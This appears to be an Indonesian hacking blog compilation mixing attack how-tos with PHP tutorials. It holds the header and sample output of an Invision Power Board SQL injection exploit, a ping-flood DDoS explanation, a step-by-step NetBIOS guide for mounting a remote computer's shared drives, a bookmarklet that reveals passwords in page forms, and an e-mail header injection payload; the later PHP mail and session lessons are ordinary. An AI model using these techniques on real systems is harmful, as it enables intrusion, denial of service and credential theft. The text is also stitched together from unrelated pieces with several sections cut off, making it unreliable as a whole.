Teman

Pencarian

SQL injection exploit

#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (&lt2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~]    SERVER : blah.com
## [~]      PATH : /ipb13/
## [~] MEMBER ID : 1
## [~]    TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com  /ipb202/ 1 1
## [~]    SERVER : blah.com
## [~]      PATH : /ipb202/
## [~] MEMBER ID : 1
## [~]    TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DOS

Serangan DDOS ( Denial Distribute of services ) Attack, mungkin adalah serangan yang paling simple di lakukan namun efeknya sangat berbahaya.
Situs-situs besar seperti yahoo.com , ebay.com , hotmail.com, e-gold.com , 2checkout.com dan lain-lain pernah mengalami serangan yang mengakibatkan situs nya tidak bisa di akses selama beberapa jam.

Yang terbaru adalah situs milik JATIM CREW yang sempat kena serangan ddos beberapa waktu yang lalu.namun sang penyerang tak begitu senang,karena pihak JATIM CREW juga melakukan serangan ddos balik yang mengakibatkan web penyerang tidak dapat di akses sama sekali sampai saat ini



Bagaimana cara kerja DDOS ?

Jika Anda memakai program windows , coba lakukan ini di komputer Anda.

1. Start , Programs , Accessories , Command Prompt
2. Kemudian di Command prompt ketikan , Ping -t www.situsyangdituju.com

atau bisa juga Start, Run , Ping -t www.situsyangdituju.com

Kemudian komputer Anda akan mengirimkan paket informasi ke situs yang di tuju tadi, pada dasarnya dengan perintah tersebut komputer Anda mengirimkan ucapan “Halo , apa ada orang di situ ? ” , ke situs yang di tuju tadi. kemudian server situs yang di tuju tadi mengirimkan jawaban balik dengan mengatakan : “ya, di sini ada orang”

Sekarang bayangkan, jika ada ribuan komputer, dalam waktu bersamaan melakukan perintah tersebut di situs yang di tuju. 1 komputer mengirimkan data sebesar 32 bytes / detik ke situs yang di tuju. Jika ada 10.000 komputer yang melakukan perintah tersebut secara bersamaan, itu artinya ada kiriman data sebesar 312 Mega Bytes/ detik yang di terima oleh situs yang di tuju tadi.

Dan server dari situs yang di tuju tadi pun harus merespon kiriman yang di kirim dari 10.000 komputer secara bersamaan. Jika 312 MB/ detik data yang harus di proses oleh server, dalam 1 menit saja, server harus memproses kiriman data sebesar 312 MB x 60 detik = 18720 MB. Bisa di tebak, situs yang di serang dengan metode ini akan mengalami Over Load / kelebihan data, dan tidak sanggup memproses kiriman data yang datang.

adapun cara lain yang bisa di gunakan yaitu dengan menggunakan tools.atau juga bisa menggunakan shell.

Komputer-komputer lain yang ikut melakukan serangan tersebut di sebut komputer zombie, dimana sudah terinfeksi semacam adware. jadi si Penyerang hanya memerintahkan komputer utamanya untuk mengirimkan perintah ke komputer zombie yang sudah terinfeksi agar melakukan Ping ke situs yang di tuju. Oleh karena itu pentingnya ada firewall di komputer anda, untuk memonitor paket yang keluar maupun yang masuk dari komputer anda.

Adapun cara yang dapat di lakukan untuk mengatasi ddos tersebut yaitu :
masuk ke menu Run di komputer anda kemudian ketikkan Regedit ->
1. HKEY_LOCAL_MACHINE
2. SOFTWARE
3. Microsoft
4. UPnP Device Host atau UPnP Control Point
5. Pada sisi sebelah kanan, klik kanan New - DWORD Value berikan nama DownloadScope dan beri nilai 3.
6. Masuk ke HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SSDPSRV\Parameters and klik new - dword dan beri nama TTL lalu beri dengan nilai 30. Tutup regedit anda, dan restart komputer.

ok Selamat mencoba.
satu pesan aja dari saya
dalam dunia maya itu gag ada yang aman 100% sama sekali,semua pasti ada celahnya.

Log Squid

Squid adalah salah satu aplikasi proxy sudah terkenal sebagai tools untuk mengoptimalkan akses Internet. Cara membaca log squid agar kita tahu aktifitas user – user yang sedang memanfaatkan squid adalah sebagai berikut.
A. Bila kita bekerja langsung pada Proxy Server.
  1. Lakukan login pada proxy server anda
  2. Bukalah console terminal
  3. Rubah hak akses anda menjadi root dengan mengetik perintah su
  4. Masukan password root anda
  5. Ketik tail <spasi> -f <spasi> /var/log/squid/access.log
  6. Umumnya alamat log Squid ada di /var/log/squid/access.log tapi terkadang juga disimpan ditempat lain oleh Network Administrator anda.
  7. Anda akan menyaksikan text yang terus bergerak sesuai dengan aktifitas user yang menggunakan Squid.
B. Bila kita bekerja secara remote pada Proxy Server.
  1. Anda bisa bekerja secara remote kepada Proxy Server dari computer user dengan bantuan program Putty.
  2. Putty dapat anda download secara gratis di Internet
  3. Tampilan Putty mirip dengan tampilan pada Console Terminal.
  4. Cara menggunakan putty adalah cukup dengan memastikan port 22 dibuka di server, lalu masukan ip address server dan tekan enter.
  5. Selanjutnya tahapan sama seperti bekerja langsung pada server.

Net-Bios Hacking

his netbios hacking guide will tell you about hacking remote computer and gaining access to it’s hard-disk or printer. netbios hack is the easiest way to break into a remote computer.
Step by Step Netbios Hacking Procedure
1.Open command prompt
2. In the command prompt use the “net view” command
( OR YOU CAN ALSO USE “NB Scanner” OPTION IN “IP-TOOLS” SOFTWARE BY ENTERING RANGE OF IP ADDRESSS.BY THIS METHOD YOU CAN SCAN NUMBER OF COMPUTERS AT A TIME).
Example: C:>net view \59.43.45.212
The above is an example for operation using command prompt.”net view” is one of the netbios command to view the shared resources of the remote computer.Here “ 59.43.45.212? is an IP address of remote computer that is to be hacked through Netbios.You have to substitute a vlaid IP address in it’s place.If succeeded a list of HARD-DISK DRIVES & PRINTERS are shown.If not an error message is displayed. So repeat the procedure 2 with a different IP address.
3. After succeeding, use the “net use” command in the command prompt.The “net use” is another netbioscommand which makes it possible to hack remote drives or printers.
Example-1:
C:>net use D: \ 59.43.45.212F
Example-2:
C:>net use G: \ 59.43.45.212SharedDocs
Example-3:
C:>net use I: \59.43.45.212Myprint

NOTE:
In Examples 1,2 & 3, D:,G: & I: are the Network Drive Names that are to be created on your computer to access remote computer’s hard-disk.
NOTE:
GIVE DRIVE NAMES THAT ARE NOT USED BY ANY OTHER DRIVES INCLUDING HARD-DISK DRIVES,FLOPPY DRIVES AND ROM-DRIVES ON YOUR COMPUTER.THAT IS IF YOU HAVE C: & D: AS HARD DIRVES, A: AS FLOPPY DIVE AND E: AS CD-DRIVE, GIVE F: AS YOUR SHARED DRIVE IN THE COMMAND PROMPT
F:,”SharedDocs” are the names of remote computer’s hard-disk’s drives that you want to hack. “Myprint” is the name of remote computer’s printer.These are displayed after giving “net use” command. “59.43.45.212? is the IP address of remote computer that you want to hack.

Script lihat password

Code:
javascript:(function(){var s,F,j,f,i; s = %22%22; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == %22password%22) s += f[i].value + %22\n%22; } } if (s) alert(%22Passwords in forms on this page:\n\n%22 + s); else alert(%22There are no saved passwords in forms on this page.%22);})();
Caranya copy paste pada alamat bar dan kalo ada password yang tersembunyi langsung muncul di window baru. dapet deh passwordnya ternyata pake tanggal lahirnya dia hehe..

Cara jitu Hacker menyerang website

Pada jenis serangan ini seorang cracker (umumnya sudah level hacker) akan dapat
menggunakan sistem komputer server. Serangan ini lebih terfokus pada full access granted
dan tidak bertujuan merusak. Jenis serangan ini pula yg diterapkan oleh para hacker untuk
menguji keamanan sistem jaringan mereka. Dilakukan dalam beberapa tahap dan tidak dalam
skema kerja spesifik pada setiap serangannya (dijelaskan pada artikel lain).
Hacking is an Art!? =)
Denial of Services (DoS)
Penyerangan pada jenis DoS mengakibatkan layanan server mengalami stuck karena kebanjiran
request oleh mesin penyerang. Pada contoh kasus Distributed Denial of Services (DDoS)
misalnya; dengan menggunakan mesin-mesin zombie, sang penyerang akan melakukan packeting
request pada server secara serentak asimetris dan simultan sehingga buffer server akan
kelabakan menjawabnya!? Stuck/hung akan menimpa server. Jadi bukan server lagi namanya!?
(servicenya mati masak dibilang server? hehehe….)
Joyrider
Nah, ini namanya serangan iseng!? Karena kebanyakan baca novel-novel hacking dan gak bisa
belajar benar, isenglah jadinya nyoba-nyoba nyerang pake ilmu-ilmu instan super cepat
(istilahnya ‘onani’ dimesin orang). Atau dengan alasan pengen tau isinya mesin orang!? =).
Yang jelas serangan jenis ini rata-rata karena rasa ingin tau, tapi ada juga yang sampe
menyebabkan kerusakan atau kehilangan data.
Vandal

Tingkatan Hacker

Hack Dalam dunia hacker atau underground orang-orang yang menjadi hacker biasanya akan melalui tahapan-tahapan. Tahapan-tahapan tersebut adalah:
1. Mundane Person
Tingkatan paling bawah. Seseorang pada tingkatan ini pada dasarnya tidak tahu sama sekali tentang hacker dan cara-caranya, walaupun ia mungkin memiliki komputer sendiri dan akses Internet. Ia hanya tahu bahwa yang namanya hacker itu membobol sistem komputer dan melakukan hal-hal yang negatif (tindak kejahatan).
2. Lamer
Seseorang pada tingkatan ini masih dibingungkan oleh seluk beluk hacking karena ia berpikir bahwa melakukan hacking sama seperti cara-cara warez (dalam dunia underground berarti menggandakan perangkat lunak secara ilegal). Pengetahuannya tentang hal-hal seperti itu masih minim, tapi sudah mencoba belajar. Seseorang pada tingkatan ini sudah bisa mengirimkan trojan (yang dibuat orang lain) ke atau pada komputer orang lain ketika melakukan obrolan pada IRC atau ICQ dan menghapus file-file mereka. Padahal ia sendiri tidak tahu persis bagaimana trojan bekerja.
Seseorang yang sukses menjadi hacker biasanya bisa melalui tahapan ini dengan cepat bahkan melompatinya.
3. Wannabe
Pada tingkatan ini seseorang sudah mengetahui bahwa melakukan tindakan hack itu lebih dari sekedar menerobos masuk ke komputer orang lain. Ia lebih menganggap hal tersebut sebagai sebuah filsafat atau way of life. Akhirnya ia jadi ingin tahu lebih banyak lagi. Ia mulai mencari, membaca dan mempelajari tentang metode-metode hacking dari berbagai sumber.
4. Larva

Beberapa Masalah Dunia IT

Anda pikir sistem Anda sudah aman? Salah! Hacker profesional tahu persis bagaimana masuk ke PC walaupun telah diproteksi dengan Security-Suite. Jika Anda memahami triknya, Anda dapat melindungi diri dari serangan dengan mudah.
1. Security-Suite dengan celah keamanan
***Pasang firewall, virus-scanner, dan anti-spam. Demikian saran keamanan untuk setiap PC Windows. Namun, justru program-program ini juga merupakan undangan bagi mafia Internet. Soalnya, se perti software lain, firewall dan anti-virus juga memiliki bug yang dapat dimanfaatkan saat terhubung ke Internet, misalnya ketika sedang melakukan update.semua data yang ada pada PC yang diserangnya. Perusahaan besar seperti Symantec harus berjuang mengatasi mas lah ini.Beberapa waktu yang lalu,seorang hacker juga menunjukkan kepada CHIP bagaimana ia dapat memanfaatkan sebuah bug dalam ‘Symantec Antivirus Corpo rate Edition’. Dengan mudah ia masuk ke PC yang katanya diproteksi dengan baik.
>>>Penangkal: Di sini kecekatan produsen software keamanan sangat dibutuhkan. Mereka harus cepat bereaksi dan menutup celah yang ada. Online-update security-suite Anda harus selalu aktif. Bila tidak, bug lain yang lebih serius mungkin tidak akan bisa ditangkal lagi. Bug yang ditunjukkan hacker di atas telah disingkirkan oleh Symantec. Namun, ingat selalu: Tidak ada proteksi yang 100% aman.
2. Bahaya printer dalam jaringan perusahaan
***Hacker selalu mencari kelemahan dalam jaringan.Administrator sebaiknya tidak hanya memperkuat proteksi pada server dan firewall, tetapi juga pada client-PC. Satu kelemahan yang seringkali terlewatkan adalah printer jaringan. Pada dasarnya, printer juga merupakan server. Artinya, setting printer dapat dimanipulasi bahkan kontrol atas printer dapat diambilalih sepenuhnya.
Beberapa tahun lalu seorang hacker dari kelompok Phenoelit telah mempublikasikan informasi dan tool untuk memanipulasi printer HP. Tahun ini, seorang hacker lainnya menunjukkan bagaimana
‘menanam’ hacker-tool ke dalam print server. Printer yang telah dimanipulasi dapat mengirimkan info sensitif seperti data account, slip gaji, dan password setiap kali korban mencetak data-data ini.
>>>Penangkal: Langkah antisipasinya sederhana. Gunakan password yang kuat untuk console konfigurasi printer dan berikan hak akses terbatas pada user. Perhatikan juga perangkat lain yang terhubung langsung ke jaringan. Webcam, wireless-router, media-player, dan perangkat lainnya juga merupakan sasaran para hacker.
3. USB-flashdisk mengambilalih setiap PC
***Setiap pakar keamanan pasti tahu,jika hacker sudah berada di depan PC, proteksi terbaik pun tidak lagi berguna. Oleh karena itu, terminal terbuka seperti PC di toko buku atau supermarket selalu diblokir. Hanya keyboard, mouse, dan monitor yang dapat diakses dari luar. Namun, itu sudah cukup bagi hacker untuk bekerja. Celah keamanan selalu membuat jantung hacker berdetak lebih kencang. Dalam setiap software, termasuk Windows, tersedia banyak kombinasi tombol yang tidak didokumentasi. Contohnya adalah kombinasi untuk membuka jendela ‘Run’ dalam Windows. Celah yang lebih berbahaya adalah bug buffer overflow dalam driver Plug & Play.

Trik Mengatasi Serangan DOS, DDOS

Serangan DoS (denial of services) adalah jenis serangan terhadap sebuah komputer atau server di dalam jaringan internet dengan cara menghabiskan sumber (resource) yang dimiliki oleh komputer tersebut sampai komputer tersebut tidak dapat menjalankan fungsinya dengan benar sehingga secara tidak langsung mencegah pengguna lain untuk memperoleh akses layanan dari komputer yang diserang tersebut. [1]
Dalam sebuah serangan Denial of Service, si penyerang akan mencoba untuk mencegah akses seorang pengguna terhadap sistem atau jaringan dengan menggunakan beberapa cara, yakni sebagai berikut:
  • Membanjiri lalu lintas jaringan dengan banyak data sehingga lalu lintas jaringan yang datang dari pengguna yang terdaftar menjadi tidak dapat masuk ke dalam sistem jaringan. Teknik ini disebut sebagai traffic flooding.
  • Membanjiri jaringan dengan banyak request terhadap sebuah layanan jaringan yang disedakan oleh sebuah host sehingga request yang datang dari pengguna terdaftar tidak dapat dilayani oleh layanan tersebut. Teknik ini disebut sebagai request flooding.
  • Mengganggu komunikasi antara sebuah host dan kliennya yang terdaftar dengan menggunakan banyak cara, termasuk dengan mengubah informasi konfigurasi sistem atau bahkan perusakan fisik terhadap komponen dan server.

PHP Secure E-mails


PHP E-mail Injections


Pertama, lihat program PHP yang sama dengan program pada bab 20.

Program21-1.php
<html>
<body>
<?php
if (isset($_REQUEST['email']))
//if "email" is filled out, send email
  {
  //send email
  $email = $_REQUEST['email'] ; 
  $subject = $_REQUEST['subject'] ;
  $message = $_REQUEST['message'] ;
  mail("someone@example.com", "Subject: $subject",
  $message, "From: $email" );
  echo "Thank you for using our mail form";
  }
else
//if "email" is not filled out, display the form
  {
  echo "<form method='post' action='mailform.php'>
  Email: <input name='email' type='text' /><br />
  Subject: <input name='subject' type='text' /><br />
  Message:<br />
  <textarea name='message' rows='15' cols='40'>
  </textarea><br />
  <input type='submit' />
  </form>";
  }
?>
</body>
</html>

Masalah yang timbul pada kode di atas adalah user yang tidak terotorisasi dapat menyisipkan data ke dalam header mail melalui form input.
Apa yang akan terjadi jika user memasukkan teks-teks berikut ke dalam field input email pada form?

someone@example.com%0ACc:person2@example.com
%0ABcc:person3@example.com,person3@example.com,
anotherperson4@example.com,person5@example.com
%0ABTo:person6@example.com

Fungsi mail() akan meletakkan teks di atas ke dalam header mail seperti biasa, dan sekarang header telah mempunyai tambahan field Cc:, Bcc:, dan To:. Ketika user menekan tombol submit, maka e-mail akan terkirim ke seluruh alamat di atas.


Mencegah PHP E-mail Injections

 

Cara yang terbaik untuk menghentikan e-mail injections adalah dengan menggunakan validasi input.
Program di bawah ini sama dengan program di atas tetapi sekarang kita telah menambahkan mekanisme pengecekan input yang melakukan pemeriksaan field email pada form.

Program21-2.php
<html>
<body>
<?php
function spamcheck($field)
  {
//eregi() performs a case insensitive regular expression match
  if(eregi("to:",$field) || eregi("cc:",$field)) 
    {
    return TRUE;
    }
  else
    {
    return FALSE;
    }
  }
//if "email" is filled out, send email
if (isset($_REQUEST['email']))
  {
  //check if the email address is invalid
  $mailcheck = spamcheck($_REQUEST['email']);
  if ($mailcheck==TRUE)
    {
    echo "Invalid input";
    }
  else
    { 
    //send email
    $email = $_REQUEST['email'] ; 
    $subject = $_REQUEST['subject'] ;
    $message = $_REQUEST['message'] ;
    mail("someone@example.com", "Subject: $subject",
    $message, "From: $email" );
    echo "Thank you for using our mail form";
    }
  }
else
//if "email" is not filled out, display the form
  {
  echo "<form method='post' action='mailform.php'>
  Email: <input name='email' type='text' /><br />
  Subject: <input name='subject' type='text' /><br />
  Message:<br />
  <textarea name='message' rows='15' cols='40'>
  </textarea><br />
  <input type='submit' />
  </form>";
  }
?>
</body>
</html>

PHP Sending E-mails

PHP mengijinkan kita untuk mengirim e-mail secara langsung dari program.

Fungsi mail()

Fungsi mail() digunakan untuk mengirim e-mail dari program.

mail(to,subject,message,headers,parameters)

Parameter
Keterangan
to
Required. Specifies the receiver / receivers of the email
subject
Required. Specifies the subject of the email. Note: This parameter cannot contain any newline characters
message
Required. Defines the message to be sent. Each line should be separated with a LF (\n). Lines should not exceed 70 characters
headers
Optional. Specifies additional headers, like From, Cc, and Bcc. The additional headers should be separated with a CRLF (\r\n)
parameters
Optional. Specifies an additional parameter to the sendmail program
Catatan: Agar fungsi mail dapat bekerja, PHP memerlukan sistem e-mail yang telah terpasang pada sistem. Program e-mail didefinisikan pada file php.ini.


PHP Simple E-Mail

 

Cara yang paling sederhana untuk mengirim e-mail adalah dengan mengirim file teks.
Pada contoh di bawah ini kita peratam kali akan mendeklarasikan variabel-variabel sebagai berikut ($to, $subject, $message, $from, $headers), kemudian kita akan menggunakan variabel pada fungsi mail() untuk mengirim e-mail.

Program20-1.php
<?php
$to = "someone@example.com";
$subject = "Test mail";
$message = "Hello! This is a simple email message.";
$from = "someonelse@example.com";
$headers = "From: $from";
mail($to,$subject,$message,$headers);
echo "Mail Sent.";
?>


Form Mail PHP


Dengan menggunakan PHP, kita dapat membuat feedback form pada situs internet. Contoh di bawah ini akan mengirimkan pesan teks ke alamat e-mail yang telah ditentukan.

Program20-2.php
<html>
<body>
<?php
if (isset($_REQUEST['email']))
//if "email" is filled out, send email
  {
  //send email
  $email = $_REQUEST['email'] ; 
  $subject = $_REQUEST['subject'] ;
  $message = $_REQUEST['message'] ;
  mail( "someone@example.com", "Subject: $subject",
  $message, "From: $email" );
  echo "Thank you for using our mail form";
  }
else
//if "email" is not filled out, display the form
  {
  echo "<form method='post' action='mailform.php'>
  Email: <input name='email' type='text' /><br />
  Subject: <input name='subject' type='text' /><br />
  Message:<br />
  <textarea name='message' rows='15' cols='40'>
  </textarea><br />
  <input type='submit' />
  </form>";
  }
?>
</body>
</html>

Keterangan program di atas:
  • Pertama, periksa apakah field input email telah terisi.
  • Jika belum, tulis output ke form html.
  • Jika sudah, kirim e-mail dari form.
  • ketika tombol submit ditekan setelah form selesai diisi, halaman akan me-reload, kemudian akan melihat apakah input email telah diisi dan mengirimkan email tersebut.

PHP Sessions

Session digunakan untuk menyimpan informasi mengenai, atau merubah setting dari sesi seorang user. Variabel session menyimpan informasi mengenai seorang user, dan menyediakan informasi tersebut pada seluruh halaman web pada suatu aplikasi .

Variabel Session PHP

 

Ketika kita membuat suatu aplikasi, kita membuka aplikasi tersebut kemudian melakukan beberapa perkerjaan hingga akhirnya menutup aplikasi tersebut. Aplikasi akan mengetahui siapa kita. Aplikasi mengetahui ketika kita mulai menjalankan aplikasi dan ketika kita menutup aplikasi tersebut. Tetapi pada aplikasi internet terdapat satu kesulitan, yaitu: web server tidak dapat mengetahui siapa user yang menggunakan aplikasinya dan apakah yang sedang kita lakukan karena alamat HTTP tidak menyimpan state aplikasi.

Mekanisme session pada PHP akan menyelesaikan permasalahan ini dengan cara memperbolehkan aplikasi untuk menyimpan informasi pada server untuk digunakan kemudian (contohnya: username, shopping items dll). Bagaimanapun, informasi session bersifat sementara dan akan dihapus setelah user meninggalkan situs yang digunakan. Jika kita membutuhkan informasi yang bersifat permanent, kita dapat menyimpan data pada database.

Session bekerja dengan cara membuat Unique ID (UID) untuk setiap user dan menyimpan variabel berdasarkan UID tersebut. UID disimpan baik pada cookie atau URL.


Memulai Session PHP (session_start())

 

Catatan: fungsi session_start() harus ditulis sebelum tag <html>.

Program19-1.php
<?php session_start(); ?>
<html>
<body>
</body>
</html>
Kode di atas akan mendaftarkan session user ke server, dan mengijinkan kita untuk memulai menyimpan informasi user dan memebuat UID untuk session user tersebut.

Menyimpan Session Variabel


Cara yang tepat untuk menyimpan dan mengambil variabel session adalah menggunakan variabel $_SESSION:

Program19-2.php
<?php
session_start();
// store session data
$_SESSION['views']=1;
?>
<html>
<body>
<?php
//retrieve session data
echo "Pageviews=". $_SESSION['views'];
?>
</body>
</html>

Output:
Pageviews=1

Pada contoh di bawah ini, kita akan membuat counter page-views sederhana. Fungsi isset() akan melakukan pengecekan terhadap variabel “views” apakah telah dibuat. Jika “views” telah tersedia, maka kita dapat melakukan proses penambahan pada counter. Jika “views” tidak ada, maka kita akan membuat variabel “views” dan mensetnya dengan 1.

Program19-3.php
<?php

  

  
session_start();
if(isset($_SESSION['views']))

  $_SESSION['views']=$_SESSION['views']+1;

  

  
else

  $_SESSION['views']=1;

echo "Views=". $_SESSION['views']; 

?>

Menghapus Session

 

Jika kita ingin menghapus beberapa data session, kita dapat menggunakan fungsi unset() atau fungsi session_destroy().

Fungsi unset() digunakan untuk membebaskan variabel session tertentu.

Program19-4.php
<?php

unset($_SESSION['views']);
?>

Kita juga dapat menghapus keseluruhan session dengan menggunakan fungsi session_destroy().

Program19-5.php
<?php

session_destroy();
?>

Catatan: session_destroy() akan me-reset session kita dan kita akan kehilangan seluruh data session yang telah tersimpan.